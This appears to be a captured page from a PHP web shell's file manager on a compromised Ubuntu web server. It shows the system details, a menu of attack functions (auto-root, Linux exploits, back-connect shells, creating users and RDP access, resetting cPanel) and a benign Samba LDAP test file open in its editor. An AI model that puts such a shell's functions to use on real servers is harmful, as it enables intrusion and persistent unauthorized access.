Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
samba /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
blackbox
[ DIR ]
drwxr-xr-x
dcerpc
[ DIR ]
drwxr-xr-x
dns_forwarder_helpers
[ DIR ]
drwxr-xr-x
emulate
[ DIR ]
drwxr-xr-x
kcc
[ DIR ]
drwxr-xr-x
krb5
[ DIR ]
drwxr-xr-x
samba_tool
[ DIR ]
drwxr-xr-x
__init__.py
22.9
KB
-rw-r--r--
audit_log_base.py
6.98
KB
-rw-r--r--
audit_log_dsdb.py
24.46
KB
-rw-r--r--
audit_log_pass_change.py
12.86
KB
-rw-r--r--
auth.py
4.5
KB
-rw-r--r--
auth_log.py
65.62
KB
-rw-r--r--
auth_log_base.py
5.42
KB
-rw-r--r--
auth_log_ncalrpc.py
4.19
KB
-rw-r--r--
auth_log_netlogon.py
5.22
KB
-rw-r--r--
auth_log_netlogon_bad_creds.py
7.7
KB
-rw-r--r--
auth_log_pass_change.py
12.92
KB
-rw-r--r--
auth_log_samlogon.py
6.68
KB
-rw-r--r--
auth_log_winbind.py
19.13
KB
-rw-r--r--
common.py
3.06
KB
-rw-r--r--
complex_expressions.py
18.37
KB
-rw-r--r--
core.py
2.77
KB
-rw-r--r--
cred_opt.py
1.73
KB
-rw-r--r--
credentials.py
22.13
KB
-rw-r--r--
dckeytab.py
2.11
KB
-rw-r--r--
dns.py
84.34
KB
-rw-r--r--
dns_aging.py
108.76
KB
-rw-r--r--
dns_base.py
14.3
KB
-rw-r--r--
dns_forwarder.py
20.95
KB
-rw-r--r--
dns_invalid.py
2.66
KB
-rw-r--r--
dns_packet.py
7.13
KB
-rw-r--r--
dns_tkey.py
7.11
KB
-rw-r--r--
dns_wildcard.py
12.89
KB
-rw-r--r--
docs.py
18.25
KB
-rw-r--r--
domain_backup.py
26.76
KB
-rw-r--r--
domain_backup_offline.py
10.01
KB
-rw-r--r--
dsdb.py
41.91
KB
-rw-r--r--
dsdb_api.py
1.93
KB
-rw-r--r--
dsdb_dns.py
2.56
KB
-rw-r--r--
dsdb_lock.py
11.63
KB
-rw-r--r--
dsdb_schema_attributes.py
8.9
KB
-rw-r--r--
encrypted_secrets.py
3.02
KB
-rw-r--r--
gensec.py
8.91
KB
-rw-r--r--
get_opt.py
2.47
KB
-rw-r--r--
getdcname.py
18.52
KB
-rw-r--r--
glue.py
3.75
KB
-rw-r--r--
gpo.py
80.28
KB
-rw-r--r--
gpo_member.py
1.69
KB
-rw-r--r--
graph.py
26.45
KB
-rw-r--r--
group_audit.py
16.52
KB
-rw-r--r--
hostconfig.py
2.14
KB
-rw-r--r--
imports.py
1.12
KB
-rw-r--r--
join.py
6.71
KB
-rw-r--r--
krb5_credentials.py
3.8
KB
-rw-r--r--
ldap_raw.py
31.92
KB
-rw-r--r--
ldap_referrals.py
3.13
KB
-rw-r--r--
ldap_spn.py
34.19
KB
-rw-r--r--
ldap_upn_sam_account.py
17.63
KB
-rw-r--r--
libsmb.py
4.26
KB
-rw-r--r--
loadparm.py
3.25
KB
-rw-r--r--
lsa_string.py
2.22
KB
-rw-r--r--
messaging.py
4.97
KB
-rw-r--r--
ndr.py
4.09
KB
-rw-r--r--
net_join.py
2.29
KB
-rw-r--r--
net_join_no_spnego.py
3.46
KB
-rw-r--r--
netbios.py
2.08
KB
-rw-r--r--
netcmd.py
5.32
KB
-rw-r--r--
netlogonsvc.py
2.43
KB
-rw-r--r--
ntacls.py
3.68
KB
-rw-r--r--
ntacls_backup.py
6.58
KB
-rw-r--r--
ntlm_auth.py
13.08
KB
-rw-r--r--
ntlm_auth_base.py
8.5
KB
-rw-r--r--
ntlm_auth_krb5.py
3.63
KB
-rw-r--r--
ntlmdisabled.py
3.01
KB
-rw-r--r--
pam_winbind.py
2.52
KB
-rw-r--r--
pam_winbind_chauthtok.py
1.56
KB
-rw-r--r--
pam_winbind_warn_pwd_expire.py
2.01
KB
-rw-r--r--
param.py
3.58
KB
-rw-r--r--
password_hash.py
12.43
KB
-rw-r--r--
password_hash_fl2003.py
7.34
KB
-rw-r--r--
password_hash_fl2008.py
7.89
KB
-rw-r--r--
password_hash_gpgme.py
11.88
KB
-rw-r--r--
password_hash_ldap.py
4.85
KB
-rw-r--r--
password_quality.py
2.15
KB
-rw-r--r--
password_test.py
1.94
KB
-rw-r--r--
policy.py
1.17
KB
-rw-r--r--
posixacl.py
38.89
KB
-rw-r--r--
prefork_restart.py
16
KB
-rw-r--r--
process_limits.py
2.95
KB
-rw-r--r--
provision.py
6.35
KB
-rw-r--r--
pso.py
11.23
KB
-rw-r--r--
py_credentials.py
14.82
KB
-rw-r--r--
registry.py
2.5
KB
-rw-r--r--
s3_net_join.py
2.63
KB
-rw-r--r--
s3idmapdb.py
1.95
KB
-rw-r--r--
s3param.py
1.75
KB
-rw-r--r--
s3passdb.py
5.66
KB
-rw-r--r--
s3registry.py
1.82
KB
-rw-r--r--
s3windb.py
1.48
KB
-rw-r--r--
samba3sam.py
48.45
KB
-rw-r--r--
samba_upgradedns_lmdb.py
2.56
KB
-rw-r--r--
samdb.py
2.51
KB
-rw-r--r--
samdb_api.py
5.41
KB
-rw-r--r--
sddl.py
8.86
KB
-rw-r--r--
security.py
6.25
KB
-rw-r--r--
segfault.py
7
KB
-rw-r--r--
smb-notify.py
18.85
KB
-rw-r--r--
smb.py
9.47
KB
-rw-r--r--
smbd_base.py
1.76
KB
-rw-r--r--
smbd_fuzztest.py
3.5
KB
-rw-r--r--
source.py
8.74
KB
-rw-r--r--
strings.py
3.89
KB
-rw-r--r--
subunitrun.py
2.33
KB
-rw-r--r--
tdb_util.py
1.76
KB
-rw-r--r--
upgrade.py
1.36
KB
-rw-r--r--
upgradeprovision.py
6.65
KB
-rw-r--r--
upgradeprovisionneeddc.py
7.49
KB
-rw-r--r--
usage.py
12.98
KB
-rw-r--r--
xattr.py
5.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ldap_upn_sam_account.py
# Unix SMB/CIFS implementation. # # Copyright 2021 (C) Catalyst IT Ltd # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import os import sys from samba.samdb import SamDB from samba.auth import system_session import ldb from samba.tests.subunitrun import SubunitOptions, TestProgram from samba.tests import TestCase, ldb_err from samba.tests import DynamicTestCase import samba.getopt as options import optparse from samba.colour import c_RED, c_GREEN, c_DARK_YELLOW import re import pprint from samba.dsdb import ( UF_SERVER_TRUST_ACCOUNT, UF_TRUSTED_FOR_DELEGATION, ) # bad sAMAccountName characters from [MS-SAMR] # "3.1.1.6 Attribute Constraints for Originating Updates" BAD_SAM_CHARS = (''.join(chr(x) for x in range(0, 32)) + '"/\\[]:|<>+=;?,*') # 0x7f is *said* to be bad, but turns out to be fine. ALLEGED_BAD_SAM_CHARS = chr(127) LATIN1_BAD_CHARS = set([chr(x) for x in range(129, 160)] + list("ªºÿ") + [chr(x) for x in range(0xc0, 0xc6)] + [chr(x) for x in range(0xc7, 0xd7)] + [chr(x) for x in range(0xd8, 0xde)] + [chr(x) for x in range(0xe0, 0xe6)] + [chr(x) for x in range(0xe7, 0xf7)] + [chr(x) for x in range(0xf8, 0xfe)]) LATIN_EXTENDED_A_NO_CLASH = {306, 307, 330, 331, 338, 339, 358, 359, 383} #XXX does '\x00' just truncate the string though? #XXX elsewhere we see "[\\\"|,/:<>+=;?*']" with "'" ## UPN limits # max length 1024 UTF-8 bytes, following "rfc822" # for o365 sync https://docs.microsoft.com/en-us/microsoft-365/enterprise/prepare-for-directory-synchronization?view=o365-worldwide # max length is 113 [64 before @] "@" [48 after @] # invalid chars: '\\%&*+/=?{}|<>();:,[]"' # allowed chars: A – Z, a - z, 0 – 9, ' . - _ ! # ^ ~ # "Letters with diacritical marks, such as umlauts, accents, and tildes, are invalid characters." # # "@" can't be first # "The username cannot end with a period (.), an ampersand (&), a space, or an at sign (@)." # # per RFC 822, «"a b" @ example.org» is ok = True bad = False report = 'report' exists = ldb.ERR_ENTRY_ALREADY_EXISTS if sys.stdout.isatty(): c_doc = c_DARK_YELLOW else: c_doc = lambda x: x def get_samdb(): return SamDB(url=f"ldap://{SERVER}", lp=LP, session_info=system_session(), credentials=CREDS) def format(s): if type(s) is str: s = s.format(realm=REALM.upper(), lrealm=REALM.lower(), other_realm=(REALM + ".another.example.net")) return s class LdapUpnSamTestBase(TestCase): """Make sure we can't add userPrincipalNames or sAMAccountNames that implicitly collide. """ _disabled = False @classmethod def setUpDynamicTestCases(cls): if getattr(cls, '_disabled', False): return for doc, *rows in cls.cases: name = re.sub(r'\W+', '_', doc) cls.generate_dynamic_test("test_upn_sam", name, rows, doc) def setup_objects(self, rows): objects = set(r[0] for r in rows) for name in objects: if ':' in name: objtype, name = name.split(':', 1) else: objtype = 'user' getattr(self, f'add_{objtype}')(name) self.addCleanup(self.remove_object, name) def _test_upn_sam_with_args(self, rows, doc): self.setup_objects(rows) cdoc = c_doc(doc) for i, row in enumerate(rows): if len(row) == 4: obj, data, expected, op = row else: obj, data, expected = row op = ldb.FLAG_MOD_REPLACE dn, dnsname = self.objects[obj] sam, upn = None, None if isinstance(data, dict): sam = data.get('sam') upn = data.get('upn') elif isinstance(data, str): if '@' in data: upn = data else: sam = data else: # bytes if b'@' in data: upn = data else: sam = data m = {"dn": dn} if upn is not None: m["userPrincipalName"] = format(upn) if sam is not None: m["sAMAccountName"] = format(sam) msg = ldb.Message.from_dict(self.samdb, m, op) if expected is bad: try: self.samdb.modify(msg) except ldb.LdbError as e: print(f"row {i+1} of '{cdoc}' failed as expected with " f"{ldb_err(e)}\n") continue self.fail(f"row {i+1} of '{cdoc}' should have failed:\n" f"{pprint.pformat(m)} on {obj}") elif expected is ok: try: self.samdb.modify(msg) except ldb.LdbError as e: raise AssertionError( f"row {i+1} of '{cdoc}' failed with {ldb_err(e)}:\n" f"{pprint.pformat(m)} on {obj}") from None elif expected is report: try: self.samdb.modify(msg) print(f"row {i+1} of '{cdoc}' SUCCEEDED:\n" f"{pprint.pformat(m)} on {obj}") except ldb.LdbError as e: print(f"row {i+1} of '{cdoc}' FAILED " f"with {ldb_err(e)}:\n" f"{pprint.pformat(m)} on {obj}") else: try: self.samdb.modify(msg) except ldb.LdbError as e: if hasattr(expected, '__contains__'): if e.args[0] in expected: continue if e.args[0] == expected: continue self.fail(f"row {i+1} of '{cdoc}' " f"should have failed with {ldb_err(expected)} " f"but instead failed with {ldb_err(e)}:\n" f"{pprint.pformat(m)} on {obj}") self.fail(f"row {i+1} of '{cdoc}' " f"should have failed with {ldb_err(expected)}:\n" f"{pprint.pformat(m)} on {obj}") def add_dc(self, name): dn = f"CN={name},OU=Domain Controllers,{self.base_dn}" dnsname = f"{name}.{REALM}".lower() self.samdb.add({ "dn": dn, "objectclass": "computer", "userAccountControl": str(UF_SERVER_TRUST_ACCOUNT | UF_TRUSTED_FOR_DELEGATION), "dnsHostName": dnsname, "carLicense": self.id() }) self.objects[name] = (dn, dnsname) def add_user(self, name): dn = f"CN={name},{self.ou}" self.samdb.add({ "dn": dn, "name": name, "objectclass": "user", "carLicense": self.id() }) self.objects[name] = (dn, None) def remove_object(self, name): dn, dnsname = self.objects.pop(name) self.samdb.delete(dn) def setUp(self): super().setUp() self.samdb = get_samdb() self.base_dn = self.samdb.get_default_basedn() self.short_id = self.id().rsplit('.', 1)[1][:63] self.objects = {} self.ou = f"OU={ self.short_id },{ self.base_dn }" self.addCleanup(self.samdb.delete, self.ou, ["tree_delete:1"]) self.samdb.add({"dn": self.ou, "objectclass": "organizationalUnit"}) @DynamicTestCase class LdapUpnSamTest(LdapUpnSamTestBase): cases = [ # The structure is # ( «documentation/message that becomes test name», # («short object id», «upn or sam or mapping», «expected»), # («short object id», «upn or sam or mapping», «expected»), # ..., # ) # # where the first item is a one line string explaining the # test, and subsequent items describe database modifications, # to be applied in series. # # First is a short ID, which maps to an object DN. Second is # either a string or a dictionary. # # * If a string, if it contains '@', it is a UPN, otherwise a # samaccountname. # # * If a dictionary, it is a mapping of some of ['sam', 'upn'] # to strings (in this way, you can add two attributes in one # mesage, or attempt a samaccountname with '@'). # # expected can be «ok», «bad» (mapped to True and False, # respectively), or a specific LDB error code, if that exact # exception is wanted. ("add good UPN", ('A', 'a@{realm}', ok), ), ("add the same upn to different objects", ('A', 'a@{realm}', ok), ('B', 'a@{realm}', ldb.ERR_CONSTRAINT_VIOLATION), ('B', 'a@{lrealm}', ldb.ERR_CONSTRAINT_VIOLATION), # lowercase realm ), ("replace UPN with itself", ('A', 'a@{realm}', ok), ('A', 'a@{realm}', ok), ('A', 'a@{lrealm}', ok), ), ("replace SAM with itself", ('A', 'a', ok), ('A', 'a', ok), ), ("replace UPN realm", ('A', 'a@{realm}', ok), ('A', 'a@{other_realm}', ok), ), ("matching SAM and UPN", ('A', 'a', ok), ('A', 'a@{realm}', ok), ), ("matching SAM and UPN, other realm", ('A', 'a', ok), ('A', 'a@{other_realm}', ok), ), ("matching SAM and UPN, single message", ('A', {'sam': 'a', 'upn': 'a@{realm}'}, ok), ('A', {'sam': 'a', 'upn': 'a@{other_realm}'}, ok), ), ("different objects, different realms", ('A', 'a@{realm}', ok), ('B', 'a@{other_realm}', ok), ), ("different objects, same UPN, different case", ('A', 'a@{realm}', ok), ('B', 'A@{realm}', ldb.ERR_CONSTRAINT_VIOLATION), ), ("different objects, SAM after UPN", ('A', 'a@{realm}', ok), ('B', 'a', ldb.ERR_CONSTRAINT_VIOLATION), ), ("different objects, SAM before UPN", ('A', 'a', ok), ('B', 'a@{realm}', exists), ), ("different objects, SAM account clash", ('A', 'a', ok), ('B', 'a', exists), ), ("different objects, SAM account clash, different case", ('A', 'a', ok), ('B', 'A', exists), ), ("two way clash", ('A', {'sam': 'x', 'upn': 'y@{realm}'}, ok), # The sam account raises EXISTS while the UPN raises # CONSTRAINT_VIOLATION. We don't really care in which order # they are checked, so either error is ok. ('B', {'sam': 'y', 'upn': 'x@{realm}'}, (exists, ldb.ERR_CONSTRAINT_VIOLATION)), ), ("two way clash, other realm", ('A', {'sam': 'x', 'upn': 'y@{other_realm}'}, ok), ('B', {'sam': 'y', 'upn': 'x@{other_realm}'}, ok), ), # UPN versions of bad sam account names ("UPN clash on other realm", ('A', 'a@x.x', ok), ('B', 'a@x.x', ldb.ERR_CONSTRAINT_VIOLATION), ), ("UPN same but for trailing spaces", ('A', 'a@{realm}', ok), ('B', 'a @{realm}', ok), ), # UPN has no at ("UPN has no at", ('A', {'upn': 'noat'}, ok), ('B', {'upn': 'noat'}, ldb.ERR_CONSTRAINT_VIOLATION), ('C', {'upn': 'NOAT'}, ldb.ERR_CONSTRAINT_VIOLATION), ), # UPN has non-ascii at, followed by real at. ("UPN with non-ascii at vs real at", ('A', {'upn': 'smallat﹫{realm}'}, ok), ('B', {'upn': 'smallat@{realm}'}, ok), ('C', {'upn': 'tagat\U000e0040{realm}'}, ok), ('D', {'upn': 'tagat@{realm}'}, ok), ), ("UPN with unicode at vs real at, real at first", ('B', {'upn': 'smallat@{realm}'}, ok), ('A', {'upn': 'smallat﹫{realm}'}, ok), ('D', {'upn': 'tagat@{realm}'}, ok), ('C', {'upn': 'tagat\U000e0040{realm}'}, ok), ), ("UPN username too long", # SPN soft limit 20; hard limit 256, overall UPN 1024 ('A', 'a' * 25 + '@b.c', ok), ('A', 'a' * 65 + '@b.c', ok), # Azure AD limit is 64 ('A', 'a' * 257 + '@b.c', ok), # 256 is sam account name limit ), ("sam account name 20 long", # SPN soft limit 20 ('A', 'a' * 20, ok), ), ("UPN has two at signs", ('A', 'a@{realm}', ok), ('A', 'a@{realm}@{realm}', ok), ('A', 'a@a.b', ok), ('A', 'a@a@a.b', ok), ), ("SAM has at signs clashing upn second, non-realm", ('A', {'sam': 'a@a.b'}, ok), ('B', 'a@a.b@a.b', ok), # UPN won't clash with SAM, because realm ), ("SAM has at signs clashing upn second", ('A', {'sam': 'a@{realm}'}, ok), ('B', 'a@{realm}@{realm}', bad), # UPN would clashes with SAM ), ("SAM has at signs clashing upn first", ('B', 'a@{realm}@{realm}', ok), ('A', {'sam': 'a@{realm}'}, bad), ), ("spaces around at", ('A', 'a name @ {realm}', ok), ('B', 'a name @ {realm}', ldb.ERR_CONSTRAINT_VIOLATION), ('B', 'a name @{realm}', ok), # because realm looks different ('C', 'a name@{realm}', ok), ('D', 'a name', ldb.ERR_CONSTRAINT_VIOLATION), ('D', 'a name ', (exists, ldb.ERR_CONSTRAINT_VIOLATION)), # matches B ), ("SAM starts with at", ('A', {'sam': '@{realm}'}, ok), ('B', {'sam': '@a'}, ok), ('C', {'sam': '@{realm}'}, exists), ('C', {'sam': '@a'}, exists), ('C', {'upn': '@{realm}@{realm}'}, bad), ('C', {'upn': '@a@{realm}'}, bad), ), ("UPN starts with at", ('A', {'upn': '@{realm}'}, ok), ('B', {'upn': '@a@{realm}'}, ok), ('C', {'upn': '@{realm}'}, bad), ('C', {'sam': '@a'}, bad), ), ("SAM ends with at", ('A', {'sam': '{realm}@'}, ok), ('B', {'sam': 'a@'}, ok), ('C', {'sam': '{realm}@'}, exists), ('C', {'sam': 'a@'}, exists), ('C', {'upn': 'a@@{realm}'}, bad), ('C', {'upn': '{realm}@@{realm}'}, bad), ), ("UPN ends with at", ('A', {'upn': '{realm}@'}, ok), ('B', {'upn': '@a@{realm}@'}, ok), ('C', {'upn': '{realm}@'}, bad), ('C', {'sam': '@a@{realm}'}, ok), # not like B, because other realm ), ] @DynamicTestCase class LdapUpnSamSambaOnlyTest(LdapUpnSamTestBase): # We don't run these ones outside of selftest, where we are # probably testing against Windows and these are known failures. _disabled = 'SAMBA_SELFTEST' not in os.environ cases = [ ("sam account name too long", # SPN soft limit 20 ('A', 'a' * 19, ok), ('A', 'a' * 20, ok), ('A', 'a' * 65, ok), ('A', 'a' * 255, ok), ('A', 'a' * 256, ok), ('A', 'a' * 257, ldb.ERR_INVALID_ATTRIBUTE_SYNTAX), ), ("UPN username too long", ('A', 'a' * 254 + '@' + 'b.c' * 257, ldb.ERR_INVALID_ATTRIBUTE_SYNTAX), # 1024 is alleged UPN limit ), ("UPN same but for internal spaces", ('A', 'a b@x.x', ok), ('B', 'a b@x.x', ldb.ERR_CONSTRAINT_VIOLATION), ), ("SAM contains delete", # forbidden according to documentation, but works in practice on Windows ('A', 'a\x7f', ldb.ERR_CONSTRAINT_VIOLATION), ('A', 'a\x7f'.encode(), ldb.ERR_CONSTRAINT_VIOLATION), ('A', 'a\x7fb', ldb.ERR_CONSTRAINT_VIOLATION), ('A', 'a\x7fb'.encode(), ldb.ERR_CONSTRAINT_VIOLATION), ('A', '\x7fb', ldb.ERR_CONSTRAINT_VIOLATION), ('A', '\x7fb'.encode(), ldb.ERR_CONSTRAINT_VIOLATION), ), # The wide at symbol ('ï¼ ' U+FF20) does not count as '@' for Samba # so it will look like a string with no @s. ("UPN with unicode wide at vs real at", ('A', {'upn': 'wideatï¼ {realm}'}, ok), ('B', {'upn': 'wideat@{realm}'}, ok), ), ("UPN with real at vs wide at", ('B', {'upn': 'wideat@{realm}'}, ok), ('A', {'upn': 'wideatï¼ {realm}'}, ok) ), ] def main(): global LP, CREDS, SERVER, REALM parser = optparse.OptionParser( "python3 ldap_upn_sam_account_name.py <server> [options]") sambaopts = options.SambaOptions(parser) parser.add_option_group(sambaopts) # use command line creds if available credopts = options.CredentialsOptions(parser) parser.add_option_group(credopts) subunitopts = SubunitOptions(parser) parser.add_option_group(subunitopts) opts, args = parser.parse_args() if len(args) != 1: parser.print_usage() sys.exit(1) LP = sambaopts.get_loadparm() CREDS = credopts.get_credentials(LP) SERVER = args[0] REALM = CREDS.get_realm() TestProgram(module=__name__, opts=subunitopts) main()
Close